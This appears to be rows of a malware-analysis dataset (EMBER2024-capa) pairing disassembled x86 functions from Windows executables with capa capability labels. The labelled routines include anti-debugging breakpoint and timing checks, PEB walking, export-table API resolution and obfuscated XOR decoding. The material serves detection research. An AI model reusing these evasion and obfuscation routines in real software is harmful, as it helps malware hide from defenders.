joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49c260
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x49c293
push esi
call fcn.004aa620
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x49c28c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x49c319
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x49c302
mov eax, dword [esi + 8]
test eax, eax
je 0x49c2b7
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x49c2fe
cmp eax, 2
je 0x49c302
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x49c2aa
cmp eax, 3
je 0x49c2dd
cmp eax, 1
jne 0x49c2aa
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x49c2aa
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x49c2aa
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.0049c340
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x49c328
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.0049c340
add esp, 4
pop esi
ret

Function at 0x49cbc0
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x49cbe1
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x49cbe1
mov eax, dword [eax + 0x44]
test eax, eax
je 0x49cbe1
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4bd450
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x4bd4b6
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x4bd4b6
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x4bd497
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x4bd840
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x4bd878
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x4be5a0
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x4be5e9
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x4bea60
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4e4200
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.004be610
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.004be690
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.004be690
lea ecx, [esi + 0xc]
call fcn.004d5605
lea ecx, [esi + 0x10]
call fcn.004d5605
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.004bfc20
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.004bfc20
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.004bfc20
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.004d567a
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.004d567a
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x4c03e0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4e448f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
mov eax, dword [0xb68e6c]
push ebx
xor ebx, ebx
push esi
push edi
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], eax
lea ecx, [esp + 0x18]
mov edi, 1
push ecx
mov dword [esp + 0x34], edi
call dword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
je 0x4c0438
mov esi, dword [esp + 0x38]
push 0xb89a6c
mov ecx, esi
call fcn.004d56e8
mov dword [esp + 0x10], edi
jmp 0x4c049e
lea edx, [esp + 0x14]
lea eax, [esp + 0x18]
push edx
push eax
call dword [sym.imp.RPCRT4.dll_UuidToStringA]
test eax, eax
je 0x4c045e
mov esi, dword [esp + 0x38]
push 0xb89a6c
mov ecx, esi
call fcn.004d56e8
jmp 0x4c049a
mov ecx, dword [esp + 0x14]
push ecx
lea ecx, [esp + 0x10]
call fcn.004d57b7
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.RPCRT4.dll_RpcStringFreeA]
push 0xb89a6c
push 0xb68344
lea ecx, [esp + 0x14]
call fcn.004d2c53
mov esi, dword [esp + 0x38]
lea eax, [esp + 0xc]
push eax
mov ecx, esi
call fcn.004d53ef
mov dword [esp + 0x10], edi
lea ecx, [esp + 0xc]
mov byte [esp + 0x30], bl
call fcn.004d567a
mov ecx, dword [esp + 0x28]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x28
ret

Function at 0x4d7a5d
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4d7a95
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004d5ad5
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004d5aad
jmp 0x4d7aa1
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4d914f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4d9191
call fcn.004deec5
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4d9191
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4d9188
xor eax, eax
jmp 0x4d9199
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004d919f
pop edi
pop esi
pop ebx
ret 4

Function at 0x4df3f5
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4df423
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4df441
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004df35b
jmp 0x4df441
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4df441
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004df35b
test edi, edi
mov eax, edi
jne 0x4df42b
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x402091
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
mov word [ebp - 3], 0x5c3a
add cl, 0x41
mov byte [ebp - 1], 0
push eax
mov byte [ebp - 4], cl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
dec eax
sub eax, 1
je 0x4020e0
sub eax, 1
je 0x4020db
sub eax, 1
je 0x4020d7
sub eax, 1
je 0x4020d3
sub eax, 1
je 0x4020cf
xor eax, eax
jmp 0x4020e3
push 6
jmp 0x4020dd
push 4
jmp 0x4020dd
push 3
jmp 0x4020dd
push 2
pop eax
jmp 0x4020e3
xor eax, eax
inc eax
mov esp, ebp
pop ebp
ret

Function at 0x40321f
Capabilities:
Get disk size
Set file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push edi
mov edi, edx
mov word [ebp - 3], 0x5c3a
mov ebx, ecx
mov al, byte [edi]
mov byte [ebp - 4], al
xor eax, eax
push eax
push eax
mov byte [ebp - 1], al
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov eax, dword [ebp - 0xc]
mov ecx, 0x3d08fc00
cmp eax, ecx
jbe 0x403261
mov eax, ecx
cmp eax, dword [0x406960]
jge 0x40326e
push 7
pop eax
jmp 0x4032c2
push esi
mov esi, dword [ebp + 8]
mov ecx, edi
mov edx, esi
call fcn.0040334a
test eax, eax
jne 0x403283
push 4
jmp 0x4032c0
push esi
mov edx, edi
mov ecx, ebx
call fcn.0040358f
movzx ebx, ax
push 0xd
pop eax
cmp bx, ax
je 0x4032a6
mov edx, esi
mov ecx, edi
call fcn.004032ca
mov ax, bx
jmp 0x4032c1
push 3
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 3
push edi
mov byte [esi], 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov byte [esi], 0x5c
push 0xd
pop eax
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4032ca
Capabilities:
Delete directory
Set file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov esi, ecx
mov dword [ebp - 4], 0x5c3a20
call fcn.00403a60
mov al, byte [esi]
mov byte [ebp - 4], al
lea eax, [ebp - 4]
push eax
call dword [sym.imp.msvcrt.dll__chdir]
pop ecx
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor ebx, ebx
mov edi, ebx
push esi
call dword [sym.imp.msvcrt.dll__rmdir]
pop ecx
test eax, eax
je 0x40331a
inc edi
cmp edi, 0x4b0
jl 0x403305
mov edi, dword [ebp - 8]
push 0x80
push esi
mov byte [edi], bl
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
call dword [sym.imp.msvcrt.dll__rmdir]
pop ecx
test eax, eax
je 0x403340
inc ebx
cmp ebx, 0x4b0
jl 0x40332b
mov byte [edi], 0x5c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404862
Capabilities:
Delete file
Move file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x406028]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov esi, ecx
lea eax, [ebp - 0x104]
xor ecx, ecx
mov edi, 0x100
push ecx
push ecx
push edi
push eax
push ecx
push ecx
push ecx
push ecx
push esi
call dword [sym.imp.msvcrt.dll__splitpath_s]
add esp, 0x24
cmp byte [ebp - 0x104], 0
jne 0x4048bb
push ecx
push 0x4012c4
push ecx
mov edx, edi
lea ecx, [ebp - 0x104]
call fcn.00401671
test eax, eax
js 0x4048fc
push 0x4012c8
mov edx, edi
lea ecx, [ebp - 0x104]
call fcn.004015a3
test eax, eax
js 0x4048fc
lea eax, [ebp - 0x104]
push eax
push esi
call dword [sym.imp.msvcrt.dll_rename]
push esi
call dword [sym.imp.msvcrt.dll_remove]
mov ecx, dword [ebp - 4]
add esp, 0xc
xor eax, eax
xor ecx, ebp
inc eax
pop edi
pop esi
call fcn.00404c50
mov esp, ebp
pop ebp
ret
call fcn.0040215d
int3

Function at 0x404e04
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x4051d0
call fcn.00405144
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x404e64
cmp eax, 0xffffffff
je 0x404e64
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x404e5d
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x404e5d
cmp edx, 0x10000000
jae 0x404e5d
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x404e5a
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
call fcn.00405189
ret 4

Function at 0x404ec0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x404efe
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x404ef6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x404f00
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x404ee6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x404fd0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x404fe6
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x405001
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
Function at 0x40a334
Capabilities:
Encode data using xor

Disassembly:
call 0x40a2ad
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x40a2dd
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x40a2f9
xor edx, 0
jmp 0x40a304
xor edx, edx
jmp 0x40a31b
jmp 0x40a327
xor eax, eax
push 0x8427d7c0
call 0x40a334
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x40a370
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x40a349
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x40a387
add eax, 0
jno 0x40a38c
add esi, 0
ret 0x10

Function at 0x40b0f5
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x40b117
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x40b2b9
cmp edi, dword [ebp + 0x10]
jb 0x40b2b9
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.0040abe1
inc edi
jmp 0x40b1a0
jmp 0x40b1ad
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.0040abe1
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.0040abe1
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x40b201
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x40b1e5
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.0040b22f
add dword [eax], 0x39
jle 0x40b20b
sub al, 0xf5
mov ch, al
call fcn.0040b244
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10
Function at 0x40cf1c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x40cf32
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x40cf43
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.0040cf84
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0x40f2f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x40f239
add ebx, 0
push ecx
call 0x40f24e
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x14ffb303
sub ebx, dword [0x1501ab42]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x1501ab32
call fcn.0040ad18
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.0040a226
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x40f3ac
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x40f3ac
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x40f363
mov eax, 1
lock xchg dword [0x1501ab3e], eax
push 0x3dd1fc71
call 0x40f2f0
push esi
add esp, 8
cmp eax, 0
jne 0x40f2d9
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x40f2ff
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x40f314
cmp ecx, edx
cmp eax, 0
je 0x40f339
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x40f323
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.0040f352
dec eax
loope 0x40f355
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x1501ab3e], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x40f389
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x40f39e
jmp 0x40f3a9
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x40f297
Function at 0x416411
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x4166e7
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x150077b6
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x14ffe77c
push 0xffffffffffffffff
call fcn.0040d611
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x41647b
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.00416493
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x4166db
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x4166af
Function at 0x425ee1
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x425f03
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x425f03
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x425f03
ret
cmp word [ebx + 4], 0x14c
jne 0x425f03
test word [ebx + 0x16], 2
je 0x425f03
test word [ebx + 0x16], 0x100
je 0x425f03
cmp word [ebx + 0x18], 0x10b
jne 0x425f03
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x425f03
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x425f8f
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x425f23
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.0040ce6e
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x425f03
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x425f8f
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x425f03
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x425f03
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x425f03
ret
cmp word [ebx + 4], 0x14c
jne 0x425f03
test word [ebx + 0x16], 2
je 0x425f03
test word [ebx + 0x16], 0x100
je 0x425f03
cmp word [ebx + 0x18], 0x10b
jne 0x425f03
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x425f03
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x425f8f
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x425f23
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.0040ce6e
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x425f03
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x426046
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x42609f
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x426046
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x426055
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x82bcf8
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x4260a6
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.0040cf1c
cmp eax, dword [ebp + 0xc]
pop eax
je 0x426145
add edi, 4
add eax, 2
dec ecx
jne 0x42608b
call 0x4260f2
loope 0x4260e8
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x426142
mov dh, pe_nt_image_headers32
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x426153
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x426106
cmp eax, ecx
ja 0x426106
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x426190
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x426186
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.0040d3fb
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]